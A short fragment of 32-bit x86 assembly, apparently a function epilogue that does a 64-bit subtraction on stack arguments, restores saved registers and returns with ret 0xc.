mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc